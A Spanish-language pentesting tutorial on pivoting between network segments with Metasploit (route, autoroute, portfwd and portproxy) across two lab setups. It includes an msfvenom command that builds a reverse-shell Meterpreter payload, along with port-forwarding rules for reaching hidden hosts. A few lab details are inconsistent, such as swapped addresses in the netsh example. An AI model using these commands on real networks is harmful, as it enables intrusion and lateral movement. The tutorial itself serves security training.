En las primeras fases de escaneo de un pentesting debemos intentar recopilar la mayor cantidad de información posible sobre las redes internas disponibles en la empresa. Muchas organizaciones dividen sus departamentos en segmentos de red o redes locales virtuales (VLANs), donde se alojan determinadas máquinas, en muchos casos los equipos que forman parte de una red tienen configuradas varias interfaces ya sean físicas o lógicas hacia estas otras redes. En este tipo de circunstancias podemos aprovecharnos de esto para pivotar entre equipos de distintas redes y poder encontrar uno o varios equipos ya sean clientes o servidores con posibles vulnerabilidades explotables.
Para poner en práctica estas técnicas realizaremos un taller completo en el que mostraremos dos escenarios muy similares: lab 1 y lab 2, con el fin de que se vea el concepto de pivoting entre máquinas que formen parte de otras redes distintas en las que desde un principio no tendríamos una visibilidad directa hacia ellas desde la máquina en la que realizamos la auditoría del test de intrusión. El nivel de pivoting de estos escenarios será simple, de un solo salto, entre una máquina comprometida a otra. Dependiendo la topología de red de la organización se podría complicar más, con más saltos entre máquinas para ir descubriendo las posibles redes internas existentes, pero la finalidad, el concepto y las técnicas de pivoting seguirían siendo las mismas.
Diagrama de red: Lab 1 - route y portfwd
En el siguiente escenario se mostrará un entorno formado por tres máquinas:
- Kali: 10.0.0.1/24. (Máquina A)
- Ubuntu: 10.0.0.10/24 y 11.0.0.1/24. (Máquina B)
- Linux (Apache http): 11.0.0.10/24. (Máquina C)
 |
| Figura 1: Escenario 1 de Pivoting, diagrama de redes (route y portfwd). |
Adjunto unas capturas simplemente para mostrar de forma más clara el escenario.
La máquina Kali con Metasploit Framework será desde donde realizaremos la intrusión. Tiene dos interfaces de red, una en modo NAT (eth1 simplemente para tener salida a Internet) y eth0 con la IP asignada 10.0.0.1 que forma parte de la red 10.0.0.0/24. Esta máquina no tiene visibilidad directa con la segunda red 11.0.0.0/24.
 |
| Figura 2: Configuración de red - Máquina Kali |
La máquina Ubuntu tiene dos interfaces la cual tiene visibilidad con la red 10.0.0.0/24 y 11.0.0.0/24 será el pivoting y la segunda máquina Linux con una sola interface con la ip asignada 11.0.0.10 que tendrá visibilidad para la red 11.0.0.0.0/24, esta será una posible máquina vulnerable ya que dispondrá de un servicio web Apache a la que tendremos que intentar llegar desde la máquina Kali.
 |
| Figura 3: Configuración de red - Máquinas Ubuntu y Linux. |
Establecer una sesión Meterpreter en la máquina Ubuntu (pivoting)
El funcionamiento de los tipos de pivoting dentro de las posibilidades que nos ofrece Metasploit Framework debemos partir de la obtención de una sesión Meterpreter en uno de los equipos de la red, en este caso será el Ubuntu en el cual tiene visibilidad con las dos redes dentro de este laboratorio, esta será la máquina que nos hará de pivoting a las redes que tenga configuradas.
Para este escenario podemos generar con msfvenom un payload en el que su shellcode será un meterpreter linux y ejecutarlo en la máquina remota para obtener dicha sesión.
msfvenom -p Linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -b '\x00\x0a\x0d' -o payload
-b '\x00\x0a\x0d': (--bad-chars) Parámetro en el que se le puede especificar una lista de caracteres a evitar, de modo que no provoque un posible error en el momento de ejecutar el payload. En este caso estos
opcodes serían válidos.
 |
| Figura 4: Generar payload para obtener una sesión meterpreter en la máquina Ubuntu (pivoting). |
Una vez ejecutado el payload en la máquina Ubuntu, vemos como se creó una nueva sesión con un meterpreter de conexión inversa en el puerto 4444 hacia la máquina Kali.
 |
| Figura 5: Sesión con meterpreter establecida entre las máquinas Ubuntu y Kali. |
Route
Una vez tenemos una sesión establecida con la máquina Ubuntu, iniciamos el meterpreter y una forma de comprobar las redes asociadas es listar las interfaces de red con ipconfig para comprobar si existe alguna dirección IP asignada que forme parte de otro segmento de red distinto. También podríamos ejecutar una shell dentro de meterpreter y consultar la tabla de rutas con el comando route print.
Como vemos se muestra la red 10.0.0.0/24 en la interface 2 y la 11.0.0.0/24 en la interface 3.
 |
| Figura 6: Comprobando si existen más redes asociadas en la máquina Ubuntu. |
Route es un comando que nos permitirá encaminar tráfico de red dentro de Metasploit, diciéndole que desde cualquier módulo todo el tráfico que queramos llevar hacia otra red lo haga a través del identificador de una sesión establecida que tengamos activa, por ejemplo con un Meterpreter.
Salimos de la sesión de meterpreter y la dejamos en segundo plano saliendo con el comando background. Fuera de meterpreter y sabiendo que la máquina Ubuntu tiene dos redes configuradas, hacemos uso del comando route para añadir la visibilidad de esta nueva red a nivel de Metasploit.
route add <network> <netmask> <session_id>
route add 11.0.0.0 255.255.255.0 1
Con esto le estaremos diciendo que todo el tráfico que se produzca dentro de Metasploit con destino a la red 11.0.0.0/24 lo enrute a través de la sesión con ID 1 donde está el meterpreter. Con route print dentro de Metasploit podemos ver las rutas asignadas y con route -h veremos la ayuda completa.
 |
| Figura 7: Añadiendo nuevas rutas con route en Metasploit. |
De esta forma ya podremos pivotar a través de la máquina Ubuntu a la red 11.0.0.0/24 realizando un escaneo completo hacia esa red.
En el siguiente ejemplo y para ahorrar tiempo en esta demo delimitaremos un pool de direcciones IP de la red 11.0.0.0/24 comprobando únicamente el puerto 80. Vemos que encontramos una dirección 10.0.0.10 que tiene el puerto 80 abierto.
En un descubrimiento habitual podríamos usar el módulo "auxiliary/scanner/discovery/arp_sweep" para encontrar hosts activos en la red local a través de solicitudes arp y también "auxiliary/scanner/portscan/ack" para comprobar que puertos se están filtrado.
 |
| Figura 8: Pivotando para descubrir nuevos hosts y puertos de otra red a través de Metasploit. |
Con lo anterior ya se demostró que podemos realizar un sondeo y tener acceso a redes pivotando a través de la máquina Ubuntu donde tenemos la sesión meterpreter hacia una máquina Linux con la ip 11.0.0.10.
Ya hemos descubierto que el puerto 80 está abierto por lo que es probable que se trate de un servicio web, podemos ahora comprobar la versión de ese servicio http a través del módulo "auxiliary/scanner/http/http_version". A partir de ahí podríamos buscar en Internet si existe alguna vulnerabilidad conocida y explotable para versión y continuar el test de intrusión.
 |
| Figura 9: Reconocimiento de versión de servicios web. |
Autoroute (Módulo post)
Otra forma de establecer rutas es hacerlo de forma automática. Una vez que tenemos una sesión establecida podemos hacer uso del módulo "post/multi/manage/autoroute", establecemos el ID de sesión y lo ejecutamos.
Esto hará un barrido en el equipo donde tenemos establecida la sesión para intentar reconocer otras redes asociadas a esa máquina y las agregará automáticamente a nuestra tabla de rutas de Metasploit. Es lo mismo que lo comentado anteriormente pero de forma automática sin necesidad de consultar manualmente a través de meterpreter las tablas de rutas asociadas a la máquina comprometida.
 |
| Figura 10: Usando el módulo de Autoroute para agregar rutas automáticamente en Metasploit. |
portfwd (Port Forwarding)
portfwd realiza un reenvío de puertos -port forwarding- entre máquinas. Podemos canalizar todo el tráfico que enviamos a un puerto local a la escucha de nuestra máquina A a un puerto e IP de una máquina C en la que no tenemos a priori conectividad, configurando esta IP y puerto de reenvío en una máquina B en la que si tenemos una conectividad directa.
Una ventaja de esto es que todas las peticiones que hagamos al puerto local de la máquina A esta las reenviará a la máquina C pasando por la máquina B, si analizamos el tráfico desde la máquina C veremos que esas peticiones llegan desde la máquina B y no desde la máquina A que inicialmente origina las peticiones. Como esto en un primer momento puede resultar un poco confuso mostraremos un ejemplo.
Basándonos en el mismo escenario visito hasta ahora lab 1. Desde la máquina Kali (máquina A) nos intentamos conectar a la máquina Linux al puerto 22 (máquina C), que sabemos que está abierto, y vemos que no podemos conectarnos directamente ya que desde la máquina Kali no tenemos visibilidad hacia la red 11.0.0.0/24.
Sin embargo desde la sesión 1 donde tenemos nuestro meterpreter de la máquina Ubuntu (máquina B) esta si tiene visibilidad con la red 11.0.0.0/24 donde está máquina Linux (máquina C).
Desde el meterpreter de la sesión 1 agregamos una nueva regla de reenvío de puertos.
portfwd add -l <local_port> -p <remote_port> -r <remote_host>
portfwd add -l 9500 -p 22 -r 11.0.0.10
Con esto indicamos que todas las peticiones que hagamos al puerto local de la máquina A Kali sen reenviadas al puerto 22 de la ip 11.0.0.10 que será la máquina C Linux. Siendo la máquina B Ubuntu quien haga el reenvío de puertos entre la máquina A y C. De ahí que todo el tráfico que llegue a la máquina C Linux es como si lo realizase la máquina B Ubuntu cuando en realidad lo envía la máquina A Kali.
Comprobando nuevamente el intento de conexión vemos como ahora desde Metasploit Framework como desde la propia máquina local Kali podemos llegar a la máquina C Linux estableciendo una conexión localhost hacia le puerto local a la escucha.
Si listamos los puertos a la escucha de la máquina local vemos como fuera del MSF tenemos el puerto 9500 a la escucha. Esto puede ser útil en los casos en los que necesitemos utilizar servicios web u otras herramientas fuera de Metasploit para poder escanear, vulnerar o realizar acciones hacia una máquina remota en la que no tendríamos un acceso directo pero si conocemos su IP y puerto y tenemos una máquina que usaremos de pivoting en medio de la comunicación para realizar los reenvíos de puertos. Tener en cuenta que podemos agregar más de una regla port forwarding.
 |
| Figura 11: portfwd - Uso de port forwarding fuera de Metasploit, usando una sesión meterpreter para reenvío de peticiones. |
La forma de usar módulos dentro de Metasploit con reglas configuradas de reenvío de puertos es solamente por medio de conexiones locales (ip y puerto local).
En el siguiente ejemplo se muestran dos reglas port forwarding establecidas en la sesión 1 (máquina B Ubuntu), la segunda regla indica que las peticiones que se realicen hacia el puerto 9000 desde cualquier interface de la máquina Kali A se reenvíen a través de la sesión 2 (máquina B Ubuntu) hacia la IP destino 11.0.0.10 puerto 80 que será la máquina C Linux.
RHOST: será la dirección local de la máquina A Kali, ip 127.0.0.1 (y no la ip 11.0.0.10 de la máquina destino C Linux).
PORTS: será el puerto local a la escucha en la máquina A Kali, puerto 9000 (y no el puerto 80 de la máquina destino C Linux).
Vemos como nos indica que el puerto 9000 de la ip 127.0.0.1 está Open. Esto significa que la regla de reenvío funcionó y que realmente esa IP/Puerto local corresponderían a la IP/Puerto destino configurado en la regla del portfwd.
Fuera de Metasploit podemos consultar los puertos a la escucha con netstat y comprobar que tanto el puerto 9500, visto en el ejemplo anterior, como el puerto 9000 están a la escucha por un proceso ruby que sería Metasploit.
 |
| Figura 12: portfwd - Usando port forwarding a través de módulos en Metasploit. |
¿Diferencias entre route y portfwd en Metasploit?
Route y Autoroute
- Es necesario tener una sesión establecida.
- Agrega direcciones de red completas indicando su notación CIDR.
- Las tablas de rutas solo se agregan a nivel funcional de Metasploit Framework.
- Dentro de Metasploit se pueden usar todos los módulos de forma directa hacia las redes agregadas.
- Con el módulo post Autorute se pueden descubrir y agregar rutas de red de forma automática de una sesión previamente establecida.
portfwd
- Es necesario tener una sesión establecida.
- No pueden agregar direcciones completas de red, solo se crean reglas de port forwarding hacía una IP/Puerto específico.
- Se pueden usar otras herramientas fuera de Metasploit a nivel local de la propia máquina Kali IP/Puerto locales estarán a la escucha.
- Dentro de Metasploit se pueden usar módulos hacia la IP/Puerto de la regla creada, la IP/Puerto será interpretado de forma local desde la propia máquina Kali.
PortProxy (Windows)
El uso del módulo post PortProxy de Metasploit en el que podemos realizar un port forwarding dirigido a una máquina y puerto remoto concretos pero esta vez a nivel de máquinas Windows. El funcionamiento es muy similar al comando portfwd de Metasploit.
Diagrama de red: Lab 2 - PortProxy
Similar al ejemplo del lab 1, en el siguiente escenario se mostrará un entorno formado por tres máquinas:
- Kali: 10.0.0.1/24. (Máquina A)
- Windows 7: 10.0.0.7/24 y 11.0.0.7/24. (Máquina B)
- Windows 10: 11.0.0.10/24. (Máquina C)
 |
| Figura 13: Escenario 2 de Pivoting, diagrama de redes (portproxy). |
Para el uso de este módulo será necesario establecer una sesión Meterpreter y tener privilegios de SYSTEM sobre esa sesión en una máquina Windows que tenga acceso a otras redes fuera de Metasploit (máquina B Windows 7). Listaremos las redes disponibles consultando la tabla de rutas de la máquina en la que tenemos establecida la sesión con el comando route o también con ipconfig.
 |
| Figura 14: Listando tabla de rutas de red disponibles en una máquina Windows dentro de una sesión Meterpreter. |
En la máquina B Windows 10 vemos que pertenece a la red 11.0.0.0/24 y ofrece un servicio web por el puerto 80.
 |
| Figura 15: Configuración de red y servicio web disponible en la máquina B (Windows 10). |
Desde la máquina B en la cual tenemos un sesión Meterpreter establecida configuramos el módulo portproxy para esa sesión.
use post/windows/manage/portproxy
- CONNECT_ADDRESS: IP remota de la máquina C a la que queremos acceder desde la máquina B.
- CONNECT_PORT: Puerto remoto de la máquina C al que queremos acceder desde la máquina B.
- LOCAL_ADDRESS: IP local de la máquina B (0.0.0.0 sería válido para cualquier interface local, desde la cual tenemos acceso por red desde la máquina A) y que esta reenviará a la máquina C.
- LOCAL_PORT: Puerto local de la máquina B desde el cual se hará la petición a la máquina C. Desde la máquina A haremos la petición al IP/Puerto de la máquina B en la cual si tenemos acceso.
Una vez configurado el módulo lo lanzamos y comprobamos que en este caso consultando la IP en la que si tenemos acceso a la B máquina 10.0.0.7 hacia el puerto 4441 nos devuelve la web de la maquina C.
Desde la máquina C las peticiones de red hacia este servicio web se visualizan como si las realizase la máquina B y no la máquina A que es realmente desde donde lanzamos inicialmente la petición.
 |
| Figura 16: Uso del módulo portproxy para sesiones Windows en Metasploit. |
De forma subyacente lo que hace este módulo es incluir esta regla de reenvío en la máquina B que es la que hará pivoting a la máquina C desde las peticiones que reciba desde la máquina A.
Podemos comprobarlo listando las reglas y un ejemplo de la parametrización de reenvío sería algo como:
netsh interface portproxy show all
netsh interface portproxy add <tipo_de_forwading> listenaddress=<ip_local_escucha> listenport=<puerto_local_escucha> connectaddress=<ip_remota> connectport=<puerto_remoto>
netsh interface portproxy add v4tov4 listenaddress=11.0.0.10 listenport=80 connectaddress=0.0.0.0 connectport=4441
Mismo ejemplo con: portfwd
Podemos comprobar también el mismo efecto usando el comando portfwd interno de Meterpreter estableciéndolo en la sesión de la máquina B como vimos anteriormente en el Lab 1.
Al tratarse de una regla a nivel de la máquina A, reenviando la petición por la sesión de Metasploit que corresponde a la máquina B la consulta sería desde localhost de la máquina A al puerto que estableciésemos en este caso el 9001.
 |
| Figura 17: Ejemplo Lab 2 con portfwd. |
Mismo ejemplo con: route
Comprobamos el mismo uso con route. El cual lo podríamos usar para realizar fingerprinting a la máquina C a través de módulos tipo scanner.
Añadimos la ruta de red desde Metasploit (máquina A) y esta se encaminará a través de la sesión de la máquina B. Realizamos por ejemplo un escaneo de puertos abiertos y comprobación de versión del servicio web.
 |
| Figura 18: Ejemplo Lab 2 con route. |
Saludos!
